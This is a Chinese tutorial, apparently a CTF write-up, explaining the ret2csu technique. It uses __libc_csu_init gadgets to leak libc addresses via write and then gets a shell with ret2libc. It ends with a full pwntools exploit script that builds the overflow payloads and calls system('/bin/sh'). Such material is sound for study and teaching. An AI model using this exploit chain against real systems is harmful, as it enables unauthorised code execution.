ret2csu全网超详细讲解!!!
序言
学习ret2libc的时候做了很多题目,i386的也好,x64的也罢,感觉都千篇一律吧,也没有什么难度(找libc的时候很痛苦,我单纯嫌他麻烦。。。)。直到今天遇到了没有puts函数的x64程序,能够用来泄露地址的函数只有write,本以为思路都一样,无非就是write传入的参数变成了3个呗。万万没想到,ROP gadget不出rdx(x64程序的函数传入参数优先使用寄存器,顺序依次是rdi,rsi,rdx,rcx,r8,r9)?!意味着write函数的第三个参数传不进去。这可如何是好?
于是在我一番学习大佬的文章之后,了解了,这种攻击手段就是鲜为人知的(起码在此之前我不知道)ret2csu。
接下来看看攻击链构造的原理(以ret2csu题目为例)
题目准备
程序只开了NX保护
存在栈溢出漏洞
突破口:函数__libc_csu_init
分析__libc_csu_init
__libc_csu_init 是glibc中负责 C 运行时初始化的函数,在程序入口 _start 调用 __libc_csu_init 后会调用 main。它在二进制文件中通常始终存在(动态链接的 64 位程序),而且其末尾包含一组非常通用的 ROP gadget,允许攻击者同时控制 rdi、rsi、rdx 三个参数并调用任意函数。这一特性使它在缺少 pop rdx 等 gadget 时成为 64 位 ROP 利用的“瑞士军刀”。
以ret2csu程序为例
__libc_csu_init可以利用的核心就这两部分,我把这两部分拎出来仔细研究。这里做一个定义,第一个红色框的部分记作gadget2有效部分(“有效部分”原因后面会陈述),第二个红色框记作gadget1。
//gadget1 .text:00000000004006AA pop rbx .text:00000000004006AB pop rbp .text:00000000004006AC pop r12 .text:00000000004006AE pop r13 .text:00000000004006B0 pop r14 .text:00000000004006B2 pop r15 .text:00000000004006B4 retn//gadget2有效部分 .text:0000000000400690 mov rdx, r13 .text:0000000000400693 mov rsi, r14 .text:0000000000400696 mov edi, r15d .text:0000000000400699 call ds:(__frame_dummy_init_array_entry - 600840h)[r12+rbx*8] .text:000000000040069D add rbx, 1 .text:00000000004006A1 cmp rbx, rbp .text:00000000004006A4 jnz short loc_400690//gadget2 .text:0000000000400690 mov rdx, r13 .text:0000000000400693 mov rsi, r14 .text:0000000000400696 mov edi, r15d .text:0000000000400699 call ds:(__frame_dummy_init_array_entry - 600840h)[r12+rbx*8] .text:000000000040069D add rbx, 1 .text:00000000004006A1 cmp rbx, rbp .text:00000000004006A4 jnz short loc_400690 .text:00000000004006A6 .text:00000000004006A6 loc_4006A6: ; CODE XREF: __libc_csu_init+36↑j .text:00000000004006A6 add rsp, 8 .text:00000000004006AA pop rbx .text:00000000004006AB pop rbp .text:00000000004006AC pop r12 .text:00000000004006AE pop r13 .text:00000000004006B0 pop r14 .text:00000000004006B2 pop r15 .text:00000000004006B4 retn我们先来看一下,这里如何利用
在gadget2有效部分中:
.text:0000000000400690 mov rdx, r13 .text:0000000000400693 mov rsi, r14 .text:0000000000400696 mov edi, r15d这三条语句涉及到寄存器edi(rdi)、rsi、rdx。正好可以作为write函数的三个传参寄存器。(这里的edi是64位寄存器的rdi的低32位)而这三位寄存器的值分别对应r15、r14、r13。也就是说如果我们能设置r15、r14、r13的值就可以使用write函数泄露地址。思路很明确,那我们能不能设置r15、r14、r13呢?
答案就在我们的gadget1中:
.text:00000000004006AE pop r13 .text:00000000004006B0 pop r14 .text:00000000004006B2 pop r15很明显,这里可以通过栈上的值分别对r13、r14、r15进行赋值。那么问题又出现了,我们能控制栈上的值吗?显然,栈溢出啊!
寄存器传参问题解决了,如何调用write函数呢,继续观察gadget2有效部分
.text:0000000000400690 mov rdx, r13 .text:0000000000400693 mov rsi, r14 .text:0000000000400696 mov edi, r15d .text:0000000000400699 call [r12+rbx*8] <-简化后我们可以控制r12和rbx寄存器以达到执行任意函数的目的,哎?那是不是说也可以执行write!非常好,我们缕一缕思路
__libc_csu_init利用思路
我们首先通过gadget1:
//gadget1 .text:00000000004006AA pop rbx .text:00000000004006AB pop rbp .text:00000000004006AC pop r12 .text:00000000004006AE pop r13 .text:00000000004006B0 pop r14 .text:00000000004006B2 pop r15 .text:00000000004006B4 retn设置r13、r14、r15的值,retn到gadget2。
这里需要注意:
gadget1涉及到rbx和rbp还有r12,应该赋值多少呢?rbx赋值为0,rbp赋值为1,而r12应赋值为存储欲调用函数地址的地址(人话:函数的got地址),这里就是write的地址。为什么是这样呢?答案在gadget2有效部分中
//gadget2有效部分 .text:0000000000400690 mov rdx, r13 .text:0000000000400693 mov rsi, r14 .text:0000000000400696 mov edi, r15d .text:0000000000400699 call [r12+rbx*8] .text:000000000040069D add rbx, 1 .text:00000000004006A1 cmp rbx, rbp .text:00000000004006A4 jnz short loc_400690当我们把rdx(r13)赋值为0,同时rbp赋值为1,有两个作用。
第一,.text:0000000000400699 call [r12+rbx*8]call的地址只被r12控制,这是好事啊!所以,我们只要把r12赋值为write的got表地址就可以直接调用write函数了。到这里,write函数的传参和调用问题就基本解决了。
第二,我们来看gadget2有效部分的后半部分
.text:000000000040069D add rbx, 1 .text:00000000004006A1 cmp rbx, rbp .text:00000000004006A4 jnz short loc_400690这明显是一个循环,如果rbx != rbp就会跳回.text:0000000000400690 mov rdx, r13这条语句,那我们看rbx我们赋值为0,rbp赋值为1,执行.text:000000000040069D add rbx, 1这条语句之后rbx = rbp了,秒啊!直接跳出循环了,咳咳。不过不能高兴太早,跳出循环之后,不意味着代码直接retn了,还会继续向下执行,接下来执行的就是.text:00000000004006A6 add rsp, 8加上gadget1部分了。
//gadget2 .text:0000000000400690 mov rdx, r13 .text:0000000000400693 mov rsi, r14 .text:0000000000400696 mov edi, r15d .text:0000000000400699 call ds:(__frame_dummy_init_array_entry - 600840h)[r12+rbx*8] .text:000000000040069D add rbx, 1 .text:00000000004006A1 cmp rbx, rbp .text:00000000004006A4 jnz short loc_400690 .text:00000000004006A6 .text:00000000004006A6 loc_4006A6: ; CODE XREF: __libc_csu_init+36↑j //该执行下边这段汇编指令了 .text:00000000004006A6 add rsp, 8 .text:00000000004006AA pop rbx .text:00000000004006AB pop rbp .text:00000000004006AC pop r12 .text:00000000004006AE pop r13 .text:00000000004006B0 pop r14 .text:00000000004006B2 pop r15 .text:00000000004006B4 retn对于我们现在来说,gadget1完全是累赘啊,我们现在最大的愿望就是赶紧retn到我们的main函数进行下一轮攻击。这些汇编躲是躲不掉了,干脆和他爆了。分析这些指令对栈有什么影响.text:00000000004006A6 add rsp, 8相当于一次pop,加上后边6次pop,一共7次,那就是吃掉了我们7*8=56个字节的栈空间。那我们构造攻击链时将main函数的地址放在56个填充字节后就ok了,妙啊!
构造好的栈就是这个样子:
多打几遍payload,多泄露几个函数(write_va、read_va、__libc_start_main_va),我们就可以锁定libc的版本。
到这里函数__libc_csu_init的使命就结束了。
getshell
这时候又有同学要问了:“锁定libc的版本之后呢?怎么getshell啊?”
“哎,接下来就可以直接用ret2libc的手法。”
那么这时候又有同学要问了:“什么是ret2libc啊?”
“哎,问得好!你不会ret2libc你学集贸ret2csu啊!滚去学习。”
啊当然,做事情要有始有终,这里也简单说一下:
通过泄露的write_va函数或者其他任意一个函数,减去libc中的该函数的相对地址(这里就是write_rva)就得到了我们的libc的imagebase,用得到的imagebase + system_rva就是实际的system_va,用得到的imagebase + binsh_rva就是实际的binsh_va。别忘了这是64位程序,system传参使用rdi寄存器,栈对齐需要垫一个ret,我们ROP gadget一下。
构造好的栈就是这个样子:
成功getshell!!!完结撒花,最后附上题目和EXP供各位师傅参考。
EXP
from pwn import * context(arch = 'amd64', os = 'linux') p = process('./ret2csu') elf = ELF('./ret2csu') write_plt = elf.plt['write'] write_got = elf.got['write'] __libc_start_main = elf.got['__libc_start_main'] read_got = elf.got['read'] function_addr = 0x4005e6 gadget1 = 0x4006aa gadget2 = 0x400690 # ***************泄露write地址*************** payload1 = b"a" * 0x88 + p64(gadget1) + p64(0) + p64(1) + p64(write_got) + p64(8) + p64(write_got) + p64(1) payload1 += p64(gadget2) + b'\x00' * 56 + p64(function_addr) p.recvline() p.send(payload1) write_va = u64(p.recv(8)) print("write_va: ", hex(write_va)) # ***************泄露read地址*************** payload2 = b"a" * 0x88 + p64(gadget1) + p64(0) + p64(1) + p64(write_got) + p64(8) + p64(read_got) + p64(1) payload2 += p64(gadget2) + b'\x00' * 56 + p64(function_addr) p.recvline() p.send(payload2) read_va = u64(p.recv(8)) print("read_va: ", hex(read_va)) # ***************泄露__libc_start_main地址*************** payload2 = b"a" * 0x88 + p64(gadget1) + p64(0) + p64(1) + p64(write_got) + p64(8) + p64(__libc_start_main) + p64(1) payload2 += p64(gadget2) + b'\x00' * 56 + p64(function_addr) p.recvline() p.send(payload2) __libc_start_main_va = u64(p.recv(8)) print("__libc_start_main_va: ", hex(__libc_start_main_va)) # ***************确定libc版本号&计算libc基地址*************** # glibc-aio read 0x71caad706350 write 0x7b8ea01fc3b0 __libc_start_main 0x72f22371fe50 # libc版本:2.19-0ubuntu6.15_amd64 libc = ELF('./libc-2.19.so') poprdi_ret = 0x4006b3 ret = 0x400499 libc_base = write_va - libc.symbols['write'] system_va = libc_base + libc.symbols['system'] binsh_va = libc_base + next(libc.search(b'/bin/sh')) # ***************get shell!!!!*************** payload2 = b"a" * 0x88 + p64(poprdi_ret) + p64(binsh_va) + p64(ret) + p64(system_va) p.recvline() p.send(payload2) p.interactive()请各位师傅批评指正
